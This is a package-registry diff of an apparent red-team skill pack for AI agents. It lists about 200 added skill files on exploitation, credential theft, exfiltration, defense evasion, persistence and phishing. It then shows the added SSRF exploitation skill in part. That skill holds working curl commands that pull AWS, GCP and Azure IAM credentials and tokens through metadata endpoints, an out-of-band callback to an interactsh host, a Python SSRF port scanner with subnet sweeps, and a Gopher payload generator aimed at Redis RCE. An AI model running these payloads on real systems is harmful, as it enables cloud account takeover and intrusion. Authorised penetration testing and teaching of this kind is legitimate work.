rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,1528 @@
1
+ ---
2
+ name: rt-exploit-ssrf
3
+ description: "Server-Side Request Forgery (SSRF) skill. Covers basic SSRF, blind SSRF, AWS EC2 metadata access (169.254.169.254), GCP/Azure metadata, SSRF to Redis/MongoDB exploitation, protocol smuggling (Gopher, dict://), SSRF bypass techniques (IPv6, DNS rebinding, redirects), and cloud credential theft via SSRF."
4
+ ---
5
+
6
+ # rt-exploit-ssrf — Server-Side Request Forgery (SSRF)
7
+
8
+ ## 1. Overview
9
+
10
+ Server-Side Request Forgery (SSRF) is a vulnerability class where an attacker can coerce a server to make HTTP (or other protocol) requests to arbitrary destinations — including internal services, cloud metadata endpoints, and loopback interfaces — that the attacker cannot reach directly.
11
+
12
+ SSRF is consistently ranked in the OWASP Top 10 (A10:2021) and is a critical finding in cloud environments because it can trivially escalate to full cloud account takeover via credential theft from instance metadata services (IMDS). The attack surface is broad: any feature that fetches a remote URL (webhooks, image importers, PDF renderers, URL preview services, XML parsers with external entity support, PDF/HTML generation services) is a potential SSRF vector.
13
+
14
+ ### Why SSRF Matters
15
+
16
+ - Direct path to AWS/GCP/Azure IAM credentials (cloud account takeover)
17
+ - Internal network enumeration without direct access
18
+ - Access to internal APIs behind a firewall (Kubernetes API server, Consul, etcd, internal dashboards)
19
+ - Pivot to RCE via Redis/Memcached/MongoDB exposed internally
20
+ - Exfiltration of secrets from internal configuration endpoints
21
+ - Bypass of IP-based access controls
22
+
23
+ ### Skill Scope
24
+
25
+ This skill covers:
26
+ - Basic and blind SSRF detection
27
+ - AWS EC2 IMDSv1 and IMDSv2 exploitation
28
+ - GCP and Azure IMDS exploitation
29
+ - SSRF to internal network scanning
30
+ - Protocol smuggling via Gopher and dict://
31
+ - SSRF to Redis RCE chain
32
+ - SSRF bypass techniques (IPv6, DNS rebinding, HTTP redirects, URL encoding, IP obfuscation)
33
+ - WAF bypass methods
34
+ - Integration with RTExit autodoc engine
35
+
36
+ ---
37
+
38
+ ## 2. Skill Levels
39
+
40
+ ### BEGINNER
41
+
42
+ **Prerequisites:** Basic HTTP knowledge, ability to use curl and Burp Suite, understanding of what a URL is.
43
+
44
+ **Goals:**
45
+ - Identify SSRF injection points
46
+ - Confirm basic SSRF with an out-of-band callback
47
+ - Access localhost services via SSRF
48
+ - Retrieve AWS IMDSv1 credentials
49
+
50
+ **Tools Required:**
51
+ - `curl`
52
+ - Burp Suite (Community or Pro)
53
+ - `interactsh-client` or Burp Collaborator for out-of-band detection
54
+
55
+ **Key Commands:**
56
+
57
+ ```bash
58
+ # Confirm SSRF with out-of-band callback (use your interactsh or Burp Collaborator URL)
59
+ curl -s "https://target.com/fetch?url=http://YOUR-INTERACTSH-ID.oast.fun"
60
+
61
+ # Test localhost access
62
+ curl -s "https://target.com/fetch?url=http://127.0.0.1/"
63
+ curl -s "https://target.com/fetch?url=http://localhost/"
64
+ curl -s "https://target.com/fetch?url=http://0.0.0.0/"
65
+
66
+ # AWS IMDSv1 — retrieve basic metadata (no auth required)
67
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
68
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
69
+ # Once you have the role name from above output:
70
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME"
71
+
72
+ # Retrieve user-data (often contains secrets/init scripts)
73
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/user-data"
74
+
75
+ # Common internal ports to probe
76
+ for port in 80 443 8080 8443 8888 9200 6379 27017 2181 5432 3306; do
77
+ echo -n "Port $port: "
78
+ curl -s -o /dev/null -w "%{http_code}" "https://target.com/fetch?url=http://127.0.0.1:$port/"
79
+ echo
80
+ done
81
+ ```
82
+
83
+ **Beginner Checklist:**
84
+ - [ ] Identify URL input parameters in the application (url=, fetch=, src=, href=, link=, path=, redirect=, image=, webhook=)
85
+ - [ ] Trigger an out-of-band DNS/HTTP callback to confirm blind SSRF
86
+ - [ ] Attempt http://127.0.0.1 and http://localhost
87
+ - [ ] Attempt http://169.254.169.254/latest/meta-data/ for AWS
88
+ - [ ] Document all findings in RTExit autodoc
89
+
90
+ ---
91
+
92
+ ### INTERMEDIATE
93
+
94
+ **Prerequisites:** Beginner level complete, familiarity with Python scripting, HTTP request smuggling concepts, cloud IAM basics.
95
+
96
+ **Goals:**
97
+ - Enumerate the internal network via SSRF
98
+ - Exploit AWS IMDSv2 (token-based)
99
+ - Bypass common SSRF filters (IP blocklists, scheme restrictions)
100
+ - Interact with internal services (Redis, Elasticsearch, etcd)
101
+ - GCP and Azure metadata exploitation
102
+
103
+ **Tools Required:**
104
+ - `curl`, `python3`
105
+ - `ffuf` or `wfuzz` for enumeration
106
+ - `interactsh` for blind SSRF
107
+ - Custom Python scripts
108
+
109
+ **AWS IMDSv2 Exploitation (Token Required):**
110
+
111
+ ```bash
112
+ # IMDSv2 requires a PUT request first to get a session token
113
+ # With SSRF, we need the app to make a PUT with X-aws-ec2-metadata-token-ttl-seconds header
114
+ # Some SSRF vulnerabilities support custom headers — try:
115
+
116
+ # Step 1: Get token (if the app supports method/header injection)
117
+ curl -s -X PUT "https://target.com/fetch?url=http://169.254.169.254/latest/api/token" \
118
+ -H "X-Forwarded-For: 169.254.169.254" \
119
+ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
120
+
121
+ # If the target app blindly forwards headers, you may be able to include the token TTL header
122
+ # Many apps still fall back to IMDSv1 — always try IMDSv1 first
123
+
124
+ # Retrieve full credential set
125
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
126
+ # Output example: ec2-role-name
127
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"
128
+ # Output JSON with AccessKeyId, SecretAccessKey, Token
129
+ ```
130
+
131
+ **GCP Metadata Exploitation:**
132
+
133
+ ```bash
134
+ # GCP metadata server — requires Metadata-Flavor: Google header
135
+ # Without the header, requests are rejected
136
+ # If SSRF app forwards custom headers, include: Metadata-Flavor: Google
137
+
138
+ curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/" \
139
+ -H "Metadata-Flavor: Google"
140
+
141
+ # Access token for the default service account
142
+ curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
143
+ -H "Metadata-Flavor: Google"
144
+
145
+ # All service accounts
146
+ curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" \
147
+ -H "Metadata-Flavor: Google"
148
+
149
+ # Project ID
150
+ curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/project-id" \
151
+ -H "Metadata-Flavor: Google"
152
+
153
+ # SSH keys
154
+ curl -s "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys" \
155
+ -H "Metadata-Flavor: Google"
156
+
157
+ # Alternative IP — use if hostname is blocked
158
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" \
159
+ -H "Metadata-Flavor: Google"
160
+ ```
161
+
162
+ **Azure IMDS Exploitation:**
163
+
164
+ ```bash
165
+ # Azure IMDS requires Metadata: true header
166
+ # Endpoint: http://169.254.169.254/metadata/
167
+
168
+ # Instance metadata
169
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01" \
170
+ -H "Metadata: true"
171
+
172
+ # Get access token for Azure resources
173
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
174
+ -H "Metadata: true"
175
+
176
+ # Get token for Key Vault
177
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" \
178
+ -H "Metadata: true"
179
+
180
+ # Managed identity — list all identities
181
+ curl -s "https://target.com/fetch?url=http://169.254.169.254/metadata/identity/info?api-version=2021-02-01" \
182
+ -H "Metadata: true"
183
+ ```
184
+
185
+ **Internal Network Enumeration with Python:**
186
+
187
+ ```python
188
+ #!/usr/bin/env python3
189
+ """
190
+ SSRF Internal Network Scanner
191
+ Usage: python3 ssrf_scan.py --target https://target.com/fetch --param url
192
+ """
193
+ import requests
194
+ import sys
195
+ import argparse
196
+ from concurrent.futures import ThreadPoolExecutor, as_completed
197
+
198
+ COMMON_PORTS = [21, 22, 23, 25, 53, 80, 110, 143, 389, 443, 445,
199
+ 1433, 1521, 2181, 2375, 3000, 3306, 3389, 4848,
200
+ 5432, 5601, 5900, 6379, 7001, 7474, 8080, 8443,
201
+ 8888, 9000, 9090, 9200, 9300, 11211, 27017, 50070]
202
+
203
+ def probe_ssrf(target_url, param, internal_host, port, timeout=5):
204
+ try:
205
+ payload = f"http://{internal_host}:{port}/"
206
+ resp = requests.get(target_url, params={param: payload}, timeout=timeout)
207
+ size = len(resp.content)
208
+ return (internal_host, port, resp.status_code, size)
209
+ except Exception:
210
+ return (internal_host, port, None, 0)
211
+
212
+ def scan_host(target_url, param, host, ports):
213
+ results = []
214
+ with ThreadPoolExecutor(max_workers=20) as exe:
215
+ futures = {exe.submit(probe_ssrf, target_url, param, host, p): p for p in ports}
216
+ for f in as_completed(futures):
217
+ host_, port, code, size = f.result()
218
+ if code is not None:
219
+ results.append((host_, port, code, size))
220
+ return results
221
+
222
+ def main():
223
+ parser = argparse.ArgumentParser()
224
+ parser.add_argument("--target", required=True)
225
+ parser.add_argument("--param", default="url")
226
+ parser.add_argument("--host", default="127.0.0.1")
227
+ parser.add_argument("--ports", default=None)
228
+ args = parser.parse_args()
229
+
230
+ ports = [int(p) for p in args.ports.split(",")] if args.ports else COMMON_PORTS
231
+ print(f"[*] Scanning {args.host} via SSRF at {args.target}")
232
+ results = scan_host(args.target, args.param, args.host, ports)
233
+ for host, port, code, size in sorted(results, key=lambda x: x[1]):
234
+ print(f" [{code}] {host}:{port} ({size} bytes)")
235
+
236
+ if __name__ == "__main__":
237
+ main()
238
+ ```
239
+
240
+ ```bash
241
+ # Run the scanner
242
+ python3 ssrf_scan.py --target "https://target.com/fetch" --param url --host 127.0.0.1
243
+
244
+ # Scan a private subnet range
245
+ for i in $(seq 1 254); do
246
+ python3 ssrf_scan.py --target "https://target.com/fetch" --param url --host "10.0.0.$i" --ports 22,80,443,8080,8443,6379,27017
247
+ done
248
+ ```
249
+
250
+ ---
251
+
252
+ ### ADVANCED
253
+
254
+ **Prerequisites:** Intermediate level complete, Python scripting proficiency, understanding of Redis wire protocol, DNS concepts.
255
+
256
+ **Goals:**
257
+ - Protocol smuggling via Gopher and dict://
258
+ - SSRF to Redis RCE chain
259
+ - DNS rebinding attacks
260
+ - SSRF bypass via HTTP redirects
261
+ - IPv6 bypass techniques
262
+ - SSRF in XML/XXE context
263
+
264
+ **Gopher Protocol SSRF:**
265
+
266
+ The Gopher protocol can be used to send raw TCP data to any host/port, enabling interaction with protocols that HTTP cannot natively support (Redis, SMTP, FTP, Memcached, MySQL in some cases).
267
+
268
+ Gopher URL format:
269
+ ```
270
+ gopher://HOST:PORT/_{URL-encoded TCP data}
271
+ ```
272
+
273
+ Note: Each `%0d%0a` is `\r\n` (CRLF) which most protocols require as line terminators.
274
+
275
+ **Python: Generate Gopher Payloads:**
276
+
277
+ ```python
278
+ #!/usr/bin/env python3
279
+ """
280
+ Gopher payload generator for SSRF protocol smuggling.
281
+ """
282
+ import urllib.parse
283
+
284
+ def gopher_encode(host, port, payload):
285
+ """Encode a raw TCP payload as a gopher:// URL."""
286
+ encoded = urllib.parse.quote(payload, safe='')
287
+ return f"gopher://{host}:{port}/_{encoded}"
288
